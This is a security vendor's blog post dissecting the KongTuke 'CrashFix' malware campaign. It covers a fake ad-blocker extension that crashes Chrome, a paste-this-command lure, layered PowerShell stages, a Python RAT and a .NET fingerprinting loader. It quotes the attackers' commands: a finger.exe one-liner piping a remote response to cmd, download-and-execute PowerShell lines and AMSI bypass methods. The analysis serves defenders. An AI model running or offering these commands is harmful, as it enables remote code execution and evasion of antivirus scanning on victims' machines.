Don’t let overlooked obligations become incidents. Learn how.
Utility navigation bar redirect icon
Portal LoginSupportContact
Search
Close search
Huntress Logo in Teal
  • Platform Overview
    Managed EDR

    Get full endpoint visibility, detection, and response.

    Managed EDR

    Get full endpoint visibility, detection, and response.

    Managed ITDR

    Protect your Microsoft 365 identities and email environments.

    Managed ITDR

    Protect your Microsoft 365 identities and email environments.

    Managed SIEM

    Managed threat response and robust compliance support at a predictable price.

    Managed SIEM

    Managed threat response and robust compliance support at a predictable price.

    Managed Security Awareness Training

    Empower your teams with science-backed security awareness training.

    Managed Security Awareness Training

    Empower your teams with science-backed security awareness training.

    Huntress Managed ISPM

    Continuous Microsoft 365 and identity hardening, managed and enforced by Huntress experts.

    Huntress Managed ISPM

    Continuous Microsoft 365 and identity hardening, managed and enforced by Huntress experts.

    Huntress Managed ESPM

    Proactively secure endpoints against attacks.

    Huntress Managed ESPM

    Proactively secure endpoints against attacks.

    Integrations
    Integrations
    Support Documentation
    Support Documentation
    See Huntress in Action

    Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

    Huntress Cybersecurity
    See Huntress in Action

    Quickly deploy and manage real-time protection for endpoints, email, and employees - all from a single dashboard.

    Huntress Cybersecurity
  • Threats We Stop
    Phishing
    Phishing
    Business Email Compromise
    Business Email Compromise
    Ransomware
    Ransomware
    View Allright arrowView Allright arrow
    Industries We Serve
    Education
    Education
    Financial Services
    Financial Services
    State and Local Government
    State and Local Government
    Healthcare
    Healthcare
    Law Firms
    Law Firms
    Manufacturing
    Manufacturing
    Utilities
    Utilities
    View Allright arrowView Allright arrow
    Tailored Solutions
    MSPs
    MSPs
    Resellers
    Resellers
    SMBs
    SMBs
    Compliance
    Compliance
    What Gets Overlooked Gets Exploited

    Most days, nothing happens. But one day, something will.

    Huntress Cybersecurity
    Cybercriminals Have Evolved

    Get the intel on today’s cybercriminal groups and learn how to protect yourself.

    Huntress Cybersecurity
  • Pricing
  • Community Series
    The Product Lab

    Shape the next big thing in cybersecurity together.

    The Product Lab

    Shape the next big thing in cybersecurity together.

    Fireside Chat

    Real people. Real perspectives. Better conversations.

    Fireside Chat

    Real people. Real perspectives. Better conversations.

    Tradecraft Tuesday

    No products, no pitches – just tradecraft.

    Tradecraft Tuesday

    No products, no pitches – just tradecraft.

    _declassified

    Exposing hidden truths in the world of cybersecurity.

    _declassified

    Exposing hidden truths in the world of cybersecurity.

    Resources
    Upcoming Events
    Upcoming Events
    ebooks
    ebooks
    On-Demand Webinars
    On-Demand Webinars
    Videos
    Videos
    Whitepapers
    Whitepapers
    Datasheets
    Datasheets
    Cybersecurity Education
    Cybersecurity 101
    Cybersecurity 101
    Cybersecurity Guides
    Cybersecurity Guides
    Threat Library
    Threat Library
    Real Tradecraft, Real Results
    Real Tradecraft, Real Results
    2026 Cyber Threat Report
    2026 Cyber Threat Report
    The Huntress Blog
    Huntress Lands on the Microsoft Marketplace
    Huntress Cybersecurity
    Huntress Lands on the Microsoft Marketplace
    Huntress Cybersecurity
    How Huntress & DEFCERT Are Streamlining CMMC Assessment Prep
    Huntress Cybersecurity
    How Huntress & DEFCERT Are Streamlining CMMC Assessment Prep
    Huntress Cybersecurity
    Live Hacking Into Microsoft 365 with Kyle Hanslovan
    Huntress Cybersecurity
    Live Hacking Into Microsoft 365 with Kyle Hanslovan
    Huntress Cybersecurity
  • Why Huntress

    Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

    Huntress Cybersecurity
    Why Huntress

    Go beyond AI in the fight against today’s hackers with Huntress Managed EDR purpose-built for your needs

    Huntress Cybersecurity
    The Huntress SOC

    24/7 Security Operations Center

    The Huntress SOC

    24/7 Security Operations Center

    Reviews

    Why businesses of all sizes trust Huntress to defend their assets

    Reviews

    Why businesses of all sizes trust Huntress to defend their assets

    Case Studies

    Learn directly from our partners how Huntress has helped them

    Case Studies

    Learn directly from our partners how Huntress has helped them

    Community

    Get in touch with the Huntress Community team

    Community

    Get in touch with the Huntress Community team

    Compare Huntress
    Bitdefender
    Bitdefender
    Blackpoint
    Blackpoint
    Breach Secure Now!
    Breach Secure Now!
    Crowdstrike
    Crowdstrike
    Datto
    Datto
    SentinelOne
    SentinelOne
    Sophos
    Sophos
    Compare Allright arrowCompare Allright arrow
  • HUNTRESS HUB

    Login to access top-notch marketing resources, tools, and training.

    Huntress Cybersecurity
    HUNTRESS HUB

    Login to access top-notch marketing resources, tools, and training.

    Huntress Cybersecurity
    Partners
    MSPs

    Join our partner community to deliver expert-led managed security.

    MSPs

    Join our partner community to deliver expert-led managed security.

    Resellers

    Partner program designed to grow your cybersecurity business.

    Resellers

    Partner program designed to grow your cybersecurity business.

    Tech Alliances

    Driving innovation through global technology Partnerships

    Tech Alliances

    Driving innovation through global technology Partnerships

    Microsoft Partnership

    A Level-Up for Your Business Security

    Microsoft Partnership

    A Level-Up for Your Business Security

  • Press Release
    Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes
    Huntress Cybersecurity
    Press Release
    Huntress Announces Collaboration with Microsoft to Strengthen Cybersecurity for Businesses of All Sizes
    Huntress Cybersecurity
    Our Story

    We're on a mission to shatter the barriers to enterprise-level security.

    Our Story

    We're on a mission to shatter the barriers to enterprise-level security.

    Newsroom

    Explore press releases, news articles, media interviews and more.

    Newsroom

    Explore press releases, news articles, media interviews and more.

    Meet the Team

    Founded by former NSA Cyber Operators. Backed by security researchers.

    Meet the Team

    Founded by former NSA Cyber Operators. Backed by security researchers.

    Careers

    Ready to shake up the cybersecurity world? Join the hunt.

    Careers

    Ready to shake up the cybersecurity world? Join the hunt.

    Awards
    Awards
    Contact Us
    Contact Us
  • Portal Login
  • Support
  • Contact
  • Search
  • Get a Demo
  • Start for Free
Portal LoginSupportContact
Search
Close search
Get a Demo
Start for Free
HomeBlog
Dissecting CrashFix: KongTuke's New Toy
Published:
January 16, 2026

Dissecting CrashFix: KongTuke's New Toy

By:
Anna Pham
Tanner Filip
Dani Lopez
Share icon
Glitch effectGlitch effectGlitch effect

Summary

In January 2026, Huntress Senior Security Operations Analyst Tanner Filip observed threat actors using a malicious browser extension to display a fake security warning, claiming the browser had "stopped abnormally" and prompting users to run a “scan” to remediate the threats.

Figure 1: Fake CrashFix pop-up message (1)

Our analysis revealed this campaign is the work of KongTuke, a threat actor we have been tracking since the beginning of 2025. In this latest operation, we identified several new developments: a malicious browser extension called NexShield that impersonates the legitimate uBlock Origin Lite ad blocker, a new ClickFix variant we have dubbed “CrashFix” that intentionally crashes the browser then baits users into running malicious commands, and ModeloRAT, a previously undocumented Python RAT reserved exclusively for domain-joined hosts.

Ironically, the victim was searching for an ad blocker when they encountered a malicious advertisement. The ad directed users to the official Chrome Web Store (hxxps[://]chromewebstore[.]google[.]com/detail/nexshield-%E2%80%93-advanced-web/cpcdkmjddocikjdkbbeiaafnpdbdafmi), lending false legitimacy to the malicious extension. The registered email for the developer is “alaynna6899@gmail.com”.

The deliberate targeting of domain-joined machines suggests KongTuke is after corporate environments where a foothold means access to Active Directory, internal systems, and lateral movement opportunities. Home users on standalone workstations receive a separate infection chain that appears to still be in testing, when we finally got through all the layers, the C2 responded with “TEST PAYLOAD!!!!”.

Whether this means non-domain targets are lower priority or the campaign is still being built out, one thing is clear: KongTuke is evolving their operations and showing increased interest in enterprise networks.



So, what is CrashFix and NexShield? 

Upon “running the scan” (Figure 1), the user is presented with a fake “Security issues detected” alert and instructed to manually “fix” the issue by opening the Windows Run dialog (Win + R), pasting from their clipboard (Ctrl + V), and pressing Enter. The malicious extension silently copies a PowerShell command to the clipboard, disguised as a legitimate repair command. When the user follows these steps, they unknowingly execute the malicious command.


Figure 2: Fake CrashFix pop-up message after “run scan”

We were not about to blindly paste from the clipboard, so we tried copying the displayed command (edge.exe -fix-browser -hash=...) like civilized malware analysts. The browser's response? Complete freeze. When your "fix" causes crashes, the name writes itself, say hello to CrashFix.

Before we go deep diving into how we ended up with a malicious pop-up message, let's take a step back and look at how it got delivered.

You have probably heard the recommendation to install an ad blocker to protect yourself from malvertising, malicious advertisements that deliver malware through legitimate ad networks. Our victim likely just wanted to get rid of annoying ads. Instead, they downloaded a malicious one (NexShield) while searching for an ad blocker for Chrome. 

Figure 3: Malicious Ad Blocker in Google Search Results


Figure 4: Malicious Browser Extension Download Page

This header falsely attributes the code to Raymond Hill, the legitimate developer of uBlock Origin, and references a non-existent GitHub repository. This tactic exploits the trust users place in well-known open-source projects. The actual uBlock Origin Lite repository is located at hxxps://github[.]com/uBlockOrigin/uBOL-home, not the URL referenced in this malicious extension. 

The NexShield extension is almost entirely a clone of uBlock Origin Lite, a legitimate extension by Raymond Hill. The URL in the header of background.js does not exist, and suggests the threat actor simply ran a few find-and-replaces to replace every instance of `uBlock` with `nexshield`. 

Figure 5: NexShield header reference

Comparing the “2025.1116.1841” release of uBlock Origin Lite to the version of NexShield that was live on the Chrome Web Store on January 14, which they called “2025.1116.1842”, shows that the two are nearly identical, with one exception. 

Figure 6: Legitimate uBO Lite compared to NexShield

Most of the files in the extension contain only changes to the name or similar wording, and are all within a few bytes of each other. The “background.js” file, however, is roughly 14% larger in NexShield, a difference of 3,276 bytes. 


NexShield

Tracking “Feature”

The extension defines its command-and-control (C2) configuration in an obfuscated variable shown below.

Figure 7: C2 configuration

Note the typosquatting: the BASE_URL uses nexsnield.com (with an “n”), while the extension name uses nexshield (with an “h”). 

UUID generation is a common practice for legitimate extensions to track basic analytics. However, in this case, the UUID is sent to attacker-controlled infrastructure (nexsnield[.]com) and is used to correlate install, update, and uninstall events, giving the attacker visibility into their victim pool.

Figure 8: UUID generation routine 

When the extension is first installed, it sends a beacon (an HTTP request used to transmit tracking data) to the attacker's server and opens a "thank you" page. 

Example of the beacon URL: 

  • hxxps://nexsnield[.]com/install?uuid=550e8400-e29b-41d4-a716-446655440000&version=2025.1116.1842

Figure 9: Install beacon sending UUID and version to attacker-controlled server

On extension updates, additional telemetry is sent, including the previous version.

Example of the beacon URL:

  • hxxps://nexsnield[.]com/update?uuid=550e8400-e29b-41d4-a716-446655440000&version=2025.1116.1842&previous=2025.1115.1000

Figure 10: Update beacon transmitting UUID, current version, and previous version to C2 server

The extension sets an uninstall URL to track when users remove it.

Figure 11: Uninstall tracking URL configured to notify the threat actor when extension is removed

Delayed execution mechanism

To evade detection and avoid immediate association between the extension install and malicious behavior, the payload uses Chrome's Alarms API to delay execution by 60 minutes. The extension sets up two timers: the first triggers once after a 60-minute delay, and the second fires every 10 minutes after the initial trigger. This timing strategy is in place so that when a user installs the extension, nothing malicious happens immediately. Sixty minutes later, the malicious payload activates, and every 10 minutes thereafter, the payload continues to execute.

Figure 12: Delayed execution timer set to trigger 60 minutes after installation

So, by the time the user experiences browser issues, the mental association with the recently installed extension has probably weakened.

Browser resource exhaustion

The core malicious payload is a denial-of-service attack against the victim's own browser.

The makeBatch() function attempts to iterate 1 billion times (1e9), with each iteration creating a new chrome.runtime port connection. Once the loop completes, setTimeout(makeBatch, 0) immediately queues another billion iterations, creating an infinite loop. Additionally, the onConnect listener adds even more references to the array, compounding the resource consumption.

This rapidly exhausts system resources. Each port object consumes memory, and the array grows unbounded. The tight loop and port creation consume CPU cycles, while Chrome's internal messaging infrastructure becomes overwhelmed. The result is severe browser slowdown, unresponsiveness, and eventual crashes. Users may experience tabs freezing, high CPU usage from the browser process, memory consumption growing until system limits are reached, or complete browser crashes requiring a force-quit.

This user fell victim to this infection and quickly Googled commands in an attempt to remediate. Fortunately, Huntress was able to assist with remediations here.

Figure 13: User attempting to look for remediation solutions


Figure 14: Resource exhaustion, creating infinite runtime port connections

The timer handler contains the logic that triggers the DoS. The DoS only executes if the UUID exists (meaning the user is being tracked), the C2 server responds successfully to a fetch request, and the pop-up window has been opened at least once and subsequently closed. This last condition may be intentional to ensure user interaction with the extension before triggering the payload.

Figure 15: Timer handler verifying C2 connectivity before executing DoS 

The code below is responsible for displaying the fake CrashFix security warning through a pop-up window. It creates a centered 400x600 pop-up window pointing to the attacker's /whats-new page (Figures 1-2), which displays the fake “CrashFix” security warning.

Figure 16: CrashFix popup window creation, displaying fake security warning on browser restart

The pop-up only appears on browser startup after the browser becomes unresponsive. Before the DoS executes, a timestamp is stored in local storage. When the user force-quits and restarts their browser, the startup handler checks for this timestamp, and if it exists, the CrashFix popup appears, and the timestamp is removed. This creates a loop: the DoS makes the browser unresponsive, the user force-quits and restarts, the fake warning appears claiming the browser “stopped abnormally”, and if the user closes the popup without removing the extension, the next 10-minute timer triggers another DoS. The cycle repeats until the user either falls for the social engineering or removes the extension.

Anti-analysis

The pop-up also implements anti-analysis techniques to prevent users from inspecting the page. It blocks keyboard shortcuts for DevTools (F12, Ctrl+Shift+I/J/C), disables right-click context menus, and prevents text selection and dragging. 

Figure 17: Anti-analysis techniques blocking DevTools shortcuts, right-click, and text selection


KongTuke’s new toy

KongTuke started using “finger” in December of 2025. Finger.exe is a legitimate Windows utility originally designed to retrieve information about users on remote systems, a protocol dating back to the early days of the internet. However, threat actors have repurposed it as a Living-off-the-Land Binary (LOLBin) because it can fetch data from remote servers and pipe the output directly to the command line. In this case, the malicious command copies finger.exe from System32 to the %temp% directory (renaming it to ct.exe to avoid detection), then uses it to connect to 199.217.98[.]108 and pipes the response directly to cmd, executing whatever payload the attacker's server returns.

CrashFix malicious command:

  • cmd /c start "" /min cmd /c "copy %windir%\system32\finger.exe %temp%\ct.exe&%temp%\ct.exe confirm@199.217.98[.]108|cmd"

Upon execution, the finger command retrieves a large CharCode blob containing obfuscated PowerShell using ROT cipher encoding. Once deobfuscated, the script downloads a secondary payload from the attacker's server, saves it to the user's AppData directory as script.ps1, executes it, and then deletes itself to remove evidence of the initial infection stage:

  • Invoke-WebRequest -Uri "hxxp://199.217.98[.]108/b" -OutFile "$env:APPDATA\script.ps1" & "$env:APPDATA\script.ps1"
    Remove-Item "$env:APPDATA\script.ps1"

Figure 18: Obfuscated blob using ROT cipher encoding

KongTuke appears to have taken notes from SocGholish's playbook, adopting a layered obfuscation approach, though with considerably less sophistication. While SocGholish leverages six layers of encryption using multiple encryption algorithms, KongTuke opts for the malware equivalent of stacking napkins over a secret message: multiple layers of Base64 encoding and XOR operations for stage 3.

Figure 19: Stage 3


The decrypted blob is responsible for few things:

  • Scans running processes for 50+ analysis tools (Wireshark, Process Hacker, x64dbg, IDA, Ghidra, etc.) and VM indicators (VMware, VirtualBox, QEMU, Parallels). If any are found, it exits immediately.

  • Checks if the machine is domain-joined or standalone (WORKGROUP). This helps the attacker distinguish between corporate targets and home users.

  • Sends a POST request to 199.217.98[.]108/n containing:

    • A marker: ABCD111 for WORKGROUP machines, BCDA222 for domain-joined

    • Installed antivirus products (queried from SecurityCenter2)

The response is piped directly to iex (Invoke-Expression), executing whatever the C2 returns.

Figure 20: Anti-analysis process check and victim profiling

Domain-joined gets the VIP Treatment

If the host is domain-joined, KongTuke serves its newly developed backdoor:

Loading Gist...

WPy64-31401 is WinPython, a portable Python distribution. KongTuke bundles their own Python environment so they don't depend on the victim having Python installed. The main malicious code lives in modes.py.

ModeloRAT

The modes.py script is a fully-featured Windows Remote Access Trojan (RAT) we named ModeloRAT, written in Python. It leverages obfuscation through verbose, misleading class and variable names, implements RC4 encryption for C2 communications, establishes persistence via the Windows Registry, and supports multiple payload types, including executables, DLLs, and Python scripts. ModeloRAT also includes junk code functions at the end of the file designed to confuse static analysis tools and analysts. 

ModeloRAT is organized into four primary classes:

  • UnnecessarilyProlongedCryptographicMechanismImplementationClass is a straightforward RC4 stream cipher implementation despite its intentionally verbose name. It initializes the S-box permutation array using Key Scheduling Algorithm (KSA), then performs encryption/decryption via the Pseudo-Random Generation Algorithm (PRGA). The symmetric nature of RC4 means the same function handles both operations.

  • PrimaryOperationalController serves as the core operational module responsible for system reconnaissance, command execution, persistence, and data encoding. For host fingerprinting, it generates a unique 8-character client ID by hashing the MAC address concatenated with the hostname using MD5. The system enumeration capability collects extensive metadata via PowerShell commands, including OS version, running processes, services, storage devices, ARP tables, network configuration, user privileges, and active TCP connections. It also performs privilege detection to determine if running as SYSTEM, Administrator, or standard user, and can execute arbitrary PowerShell commands with a 30-second timeout and 10MB output limit. Persistence is achieved by writing to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key. Data encoding implements a custom protocol that encrypts data with RC4 using a random 16-byte key, appends the key and a version marker (\xfe\xfe\x00\x01), then compresses with zlib.

  • DataTransmissionManager handles file path generation and randomization. It selects random filenames from %APPDATA% and %PROGRAMDATA% directories to blend dropped files with legitimate software, making detection harder.

  • CentralCommunicationController orchestrates the main C2 beacon loop and command dispatching.

Command & Control protocol

ModeloRAT beacons to hardcoded C2 servers over HTTP port 80. The IP addresses are obfuscated through string concatenation: 170.168.103[.]208 and 158.247.252[.]178. The beacon URL follows the pattern http://{C2_IP}:80/beacon/{client_id}.

The communication flow begins when the client collects system metadata and serializes it to JSON. The data is then RC4-encrypted with a random key, and the key is appended followed by a 4-byte version marker. The entire payload is zlib-compressed and transmitted via HTTP POST with a truncated WebKit-based user agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36)). The server responds with encrypted commands using the same protocol.

Below is the supported command types:


Loading Gist...


Beacon interval logic

ModeloRAT implements adaptive beaconing with several timing configurations. Under normal operation, it uses a standard interval of 300 seconds (5 minutes). When the server sends an activation configuration command, the implant enters active mode with rapid polling at a configurable interval, defaulting to 150 milliseconds. After six or more consecutive communication failures, the RAT backs off to an extended interval of 900 seconds (15 minutes) to avoid detection. When recovering from a single communication failure, it uses a reconnection interval of 150 seconds before resuming normal operations. Active mode has a configurable timeout, after which the implant automatically returns to standard beaconing.


Persistence mechanism

On initial execution, ModeloRAT establishes persistence by modifying the script path to use pythonw.exe and writing to HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name “MonitoringService”. When additional payloads are dropped, the RAT creates registry persistence entries using names that mimic legitimate software. It does this by grabbing folder names from AppData and ProgramData (like Spotify, Adobe, Discord), appending a random number, and using the result as the registry value name, so instead of something suspicious, you get entries like Spotify47 or Adobe2841 that blend in at first glance

The malware employs obfuscation through verbosity, where all class names, methods, and variables use unnecessarily long, pseudo-technical names such as instruction_result_repository instead of simply results. This significantly increases cognitive load during manual analysis.

Obfuscation and anti-analysis 

String concatenation is used for IOCs, with C2 IP addresses built character-by-character to evade simple string scanning, for example: "1" + "7" + "0" + "." + "1" + "6" + "8" + "." + "1" + "0" + "3" + "." + "2" + "0" + "8".

The final approximately 70 lines contain junk code padding with completely non-functional code, including meaningless calculations, unused data structures, irrelevant string operations, recursive functions, and an ExtraneousClassDefinition class. This bloats the file and may confuse automated analysis tools. 

All subprocess calls use hidden window execution with CREATE_NO_WINDOW and STARTF_USESHOWWINDOW flags with wShowWindow=0 to prevent visible console windows. Additionally, the malware performs SSL certificate bypass by disabling certificate verification (CERT_NONE) for C2 communications.


Figure 21: Junk code padding used to inflate complexity and confuse static analysis tools.


Forever alone: Non-domain joined edition

The SocGholish inspiration doesn’t stop there. If you have spent any amount of time analyzing SocGholish samples until your eyes glaze over, stage 4 might trigger some flashbacks, subtract a magic number from an array of integers to reveal the payload URL, and build iex through character arithmetic because typing three letters directly would be too easy.


Figure 22: Stage 4

Stage 4 deobfuscates to:

  • iex(curl -useb hxxp://fyvw2oiv[.]top/1.php?s=63e95be1-92e0-45c1-a928-65d63b17cd1c)

Stage 5 delivers even more PowerShell and even more obfuscation. At this point, you might be wondering if KongTuke gets paid by the layer. Fortunately, automation saves us from manually calculating hundreds of nested expressions like (-8953+(2890+6179)) just to reveal a single character. 


Figure 23: Stage 5

Let’s try to walk through Stage 5. So, the first base64-encoded blob decodes to:

https://gist.githubusercontent.com/RussianPanda95/cb9c57145f4b6afbc08f24a19257ed5a/raw/e1be0cc7b7e58e4205920c019d786db636036a4c/kongtuke_dga.txt

This is the Domain Generation Algorithm (DGA) that KongTuke loves throwing everywhere it can. The seed is calculated based on the current week of the year plus 2024, multiplied by 789684. This means the seed changes weekly, so the same 10 domains are generated for an entire week, both on the victim's machine and the attacker's infrastructure.

It cycles through each domain until one responds, fetches the next stage, and executes it.

Why DGA? If defenders block one domain, the malware has 9 more to try. Next week, it's a completely different set of 10. The threat actors just need to register the domains ahead of time using the same algorithm, and for KongTuke, they register new domains daily!

So, pulling the next stage from the above-generated DGA domain (I have lost count at this point) down, we see another obfuscated script. 

The script defines a custom decoding function that uses a 256-entry lookup table mapping 3-character tokens to byte values. Each token like d!s, ra8, or bm& corresponds to a byte (0-255), for example, d!s = 0, ra8 = 1, #ls = 105 (the letter “i”). Encoded strings are processed 3 characters at a time, with each triplet looked up in the table and converted to its corresponding ASCII character. If you have made it this far, you already know what is coming.

Figure 24: The 256-entry lookup table mapping 3-character tokens to byte values, because why use Base64 when you can invent your own alphabet?

Using this decoder, the script reconstructs the usual suspects: FromBase64String, System.IO.MemoryStream, GZipStream, Decompress, System.Reflection.Assembly, Main, GetTypes, GetMethod, and Invoke. It then takes a Base64-encoded, GZip-compressed .NET payload (remember this one, we will talk about it later in this blog), decompresses it in memory, loads it via reflection, hunts for the Main method, and executes it, fileless execution that never touches disk.

And because one payload delivery mechanism is not enough, the script also generates 10 DGA domains using the same weekly-seeded algorithm seen in earlier stages. The charset abcdefghijklmnopqrstuvwxyz0123456789 and seed calculation ((((Get-Date).DayOfYear+3) / 7) +2024)*789684 remain consistent. It constructs a C2 URL with the computer name and fingerprint data, then cycles through each domain until one responds.

Let’s come back to Stage 5 script—going further down the script, this is where KongTuke gets nosy. Before phoning home, it runs a full background check on your system to determine if it's dealing with a real victim or some analyst's VM. The script builds a unique numeric fingerprint by running multiple checks, with each result adding a specific value to a running total, like a credit score, but for malware.

Figure 25: Deobfuscating the blob responsible for calculating the values for the key parameter

First, it queries Get-MpComputerStatus for the IsVirtualMachine property:

  • $false (not a VM): adds 17,806,141,208

  • 3 (error/unknown): adds 18,397,578,972

  • $true (is a VM): adds 49,773,342,430

Next, it examines Win32_VideoController for the AdapterDACType property, looking for VM indicators:

  • VMware or Bochs: adds 24,397,282,883

  • Intel or SeaBIOS: adds 84,125,420,620

  • Internal or Integrated: adds 48,951,750,936

The script queries Win32_CacheMemory for the cache purpose field. Real hardware typically reports “L1 Cache” while VMs often have missing or malformed values:

  • “L1”: adds 83,921,813,634

  • Length > 4: adds 1,173,405,983

  • Length ≤ 3: adds 83,736,924,793

Before executing the above script, Stage 5 disables AMSI using memory patching. The obfuscated blob decodes to C# code that imports GetModuleHandle, GetProcAddress, and VirtualProtectEx from kernel32.dll. It locates AmsiScanBuffer in amsi.dll and overwrites it with 0xC3, a single RET instruction, causing the function to return immediately without scanning. 

After fingerprinting, the script generates a pseudo-random .top domain using a seed based on the current day of year. The key parameter contains the accumulated fingerprint score. The C2 server uses this value to determine whether the victim is running on real hardware or in an analysis environment and decide whether to serve the actual payload or remain silent. A legitimate victim machine would generate a fingerprint around 164 billion, while a VMware sandbox would produce approximately 88 billion, giving the threat actors a simple numeric check to filter out researchers. If your score doesn't add up, you get nothing. If all the checks are passed, you get another obfuscated blob of PowerShell from C2 as shown below.

Figure 26: Obfuscated PowerShell blob with AMSI bypass and the logic to download the “aa.exe” file

The script starts with an AMSI bypass using Unicode normalization obfuscation. Characters like â and ã are accented versions of regular letters, when normalized using FormD, they decompose into the base letter plus a separate accent character. The -replace '\p{Mn}' regex then strips those accents, leaving behind clean ASCII: Management. Through this technique, System.Management.Automation.AmsiUtils is reconstructed, and the script sets the amsiInitFailed field to $true, telling PowerShell that AMSI failed to initialize so all subsequent commands execute without being scanned.

After a brief sleep, the script downloads an executable from hxxp://temp[.]sh/utDKu/138d2a62b73e89fc4d09416bcefed27e139ae90016ba4493efc5fbf43b66acfa.exe, saves it to %TEMP%\aa.exe, and immediately executes it. Unfortunately, the payload was no longer hosted at the time of analysis.

GateKeeper .NET Payload 

Opening the DLL payload in dnSpy, you might see something like this:

Figure 27: Nested string decryption calls resolving sandbox DLL names for detection

The <Module>.<>c stuff? That's where all the encrypted data lives. The KongTuke author is storing their byte arrays there, probably hoping analysts would dismiss it as compiler noise. Nice try.

Pro tip: dnSpy hides these compiler-generated types by default. You will need to enable “Show hidden compiler-generated types and methods” in the Decompiler settings to see them; otherwise, you are staring at decryption calls that reference data you can't find.

The malware authors clearly watched too many spy movies because they went with not one, but TWO layers of string encryption. Every interesting string in this binary, C2 URLs, WMI queries, anti-analysis checks, is wrapped in cryptographic bubble wrap.

Layer 1: AES-256-CBC

The first layer uses proper grown-up encryption. We are talking AES-256 in CBC mode with PBKDF2 key derivation:

https://gist.githubusercontent.com/RussianPanda95/54725bf9a7809ef480fc5e35a7521137/raw/d0a0e04504fa0e1e91850be141c9bb23608b73d7/aes256_cbc.txt

The password and salt are stored as static byte arrays within <Module>.<>c

Inside that <>c struct, there are dozens of byte arrays with names like:

  • set_AvatarIcon GetGroups GetAssembliesFromDirectory.ParseUInt64 (ciphertext)

  • set_IsLimitedAccount add_OnExecuteCommand get_Permissions.GetTypesFromInterface (salt)

  • AppDomain.Current.Load IsWindowVisible GetPermissions.set_Name (password)

How does the code know which array to use? It's hardcoded at each call site. Look back at that nightmare function, each decryption call explicitly references specific field names. The salt and password fields are reused globally (same 8-byte salt, same 48-byte password for everything), but each encrypted string has its own unique ciphertext array.

So, when you see:

https://gist.githubusercontent.com/RussianPanda95/6aa1e36457d6dbc09ff7dd218c7c223b/raw/5e186b23d4eecd7b3b99f8b88178545ade747cd8/example.txt

Those are two different encrypted blobs, both using the same salt and password for AES, then XOR'd together to produce the final plaintext.

Layer 2: XOR (Because why not?)

After AES decryption spits out a base64 string, it goes through a second round, this time a simple XOR cipher:

https://gist.githubusercontent.com/RussianPanda95/71164efdc4d7e816b385551b38ada5ca/raw/2c9baaf2105dc7f730c6d562472780bd5535c32d/xor.txt

The XOR key itself is ALSO AES-encrypted. So to decrypt one string, you need to AES-decrypt two blobs, then XOR them together.


The fingerprinting system (they really don't want to run in your VM)

Here is where things get interesting. The DLL's Main()function doesn't actually do anything malicious directly. Instead, it builds a fingerprint of the victim's machine by running a gauntlet of anti-analysis checks and returning a giant number, the same fingerprinting concept we saw earlier in Stage 5, but this time implemented in compiled .NET.

The fingerprint is essentially a sum. Each check that triggers adds a specific value.

Anti-Analysis Checks:

  • Username/hostname in a blacklist (things like “malware”, “sandbox”, the infamous “John Doe”)? Add 54 billion.

  • Debugger window detected? Add 56 billion.

  • Running in VirtualBox? Add 52 billion.

  • VMware? Add 32 billion.

  • Analysis tools detected? Add 34 billion.

A clean physical machine with a dedicated GPU comes out to around 6,887,402,914. A VirtualBox VM with Wireshark running might hit 200+ billion. The C2 server receives this number and presumably thinks: “Hmm, 200 billion... that's definitely a malware analyst. Let's not give them anything”.

Loading Gist...

This one is worth checking. The function ExcityImpatchScableTerrine stores tool names as integer arrays to avoid string-based detection. It enumerates all running processes and checks their window titles against a list including x32dbg, x64dbg, windbg, ollydbg, dnspy, Immunity Debugger, HyperDbg, Cheat Engine, and IDA. If any match, the process gets closed, and the check returns true.

Figure 28: ExcityImpatchScableTerrine function

Once the DGA spits out domains, the loader constructs its callback URL:

  • hxxp://[DGA_DOMAIN]/st2?s=04e1ab2b-3f93-46fa-9aed-c3a2a3f126c9&id=[HOSTNAME]&key=[FINGERPRINT]

Breaking this down:

  • s= - Campaign GUID (hardcoded, identifies this specific campaign)

  • id= - Victim's computer name

  • key= - The fingerprint number from all those anti-analysis checks

The server can look at that key value and make decisions whether to serve the payload or not.

All that hard work for nothing, after emulating the script with the correct fingerprint value, the C2 responded with write-host "TEST PAYLOAD!!!!". Either the threat actor has a sense of humor, or the campaign is in the testing phase.


Conclusion

KongTuke's CrashFix campaign demonstrates how threat actors continue to evolve their social engineering tactics. By impersonating a trusted open-source project (uBlock Origin Lite), crashing the user's browser on purpose, and then offering a fake fix, they have built a self-sustaining infection loop that preys on user frustration.

What we are looking at is a malicious browser extension that typosquats, implements delayed execution to avoid detection, triggers a denial-of-service against the user's own browser, and delivers a multi-stage PowerShell infection chain. The .NET payload adds two-layer encryption (AES-256 plus XOR), weekly-rotating DGA domains, and fingerprinting designed to distinguish a real victim from an analyst's sandbox.

KongTuke clearly plays favorites with their victims. Domain-joined machines, typically corporate endpoints with access to Active Directory, internal resources, and sensitive data, get the VIP treatment: ModeloRAT, a fully-featured Python RAT with RC4-encrypted C2 communications, and support for dropping executables, DLLs, and Python scripts. The RAT even tries to blend in by naming its persistence entries after legitimate software folders like Spotify47 or Adobe2841. This targeting distinction suggests KongTuke prioritizes enterprise environments where a single compromised host can provide lateral movement opportunities, credential harvesting, and access to higher-value assets. Non-domain-joined machines get a different path, more obfuscation layers, more DGA domains, and ultimately a payload that returned “TEST PAYLOAD!!!!” when we finally got through. Either the home user branch is still under development, or KongTuke is saving their best toys for corporate targets where the ROI on a successful compromise is significantly higher.

The obfuscated function names (UnstrolPurableSaffluide, really?) are annoying but ultimately just noise. The real effort went into operational security, making the C2 server smart enough to filter out researchers based on a numeric fingerprint score. If your system doesn't look like a legitimate victim, you get nothing.

For defenders, this campaign reinforces several key points: monitor for unusual use of LOLBins like finger.exe, watch for browser extensions with suspicious permission requests or recent creation dates, and keep an eye on network traffic, whether it's beaconing to nexsnield[.]com, ModeloRAT phoning home to hardcoded IPs on port 80, or hitting randomly generated 15-character .top domains on /st2 or /1.php endpoints. Also watch for pythonw.exe spawning hidden PowerShell processes and suspicious entries in the Run registry key that look a little too much like legitimate software.


Indicators of compromise

Item

Description

cpcdkmjddocikjdkbbeiaafnpdbdafmi

NexShield extension ID

nexsnield[.]com

Primary C2 server for extension telemetry; receives install/update/uninstall beacons with victim UUID

199.217.98[.]108

Hosts finger.exe payload

